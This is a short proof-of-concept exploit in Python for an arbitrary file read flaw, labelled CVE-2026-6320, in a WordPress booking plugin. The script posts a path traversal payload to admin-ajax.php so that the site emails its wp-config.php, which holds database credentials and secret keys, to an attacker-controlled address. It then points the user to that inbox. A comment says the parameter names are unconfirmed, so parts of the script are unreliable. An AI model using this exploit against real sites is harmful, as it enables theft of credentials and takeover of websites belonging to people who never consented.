CVE-2026-6320 WordPress插件任意文件读取漏洞

import requests # Target URL (replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker controlled email to receive the exfiltrated file attacker_email = "[email protected]" # Path traversal payload to read sensitive file # Payload attempts to read wp-config.php file_path_payload = "../../../../../../../../wp-config.php" # Data payload based on the vulnerable booking flow parameters # Note: Parameter names (e.g., 'action', 'booking_data') need to be confirmed via specific plugin analysis payload = { "action": "sbs_booking_submit", "sbs_email": attacker_email, "sbs_file_field": file_path_payload # The vulnerable parameter accepting the path } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the attacker's email inbox for the attachment containing the file content.") else: print("[-] Request failed.") except Exception as e: print(f"[-] An error occurred: {e}")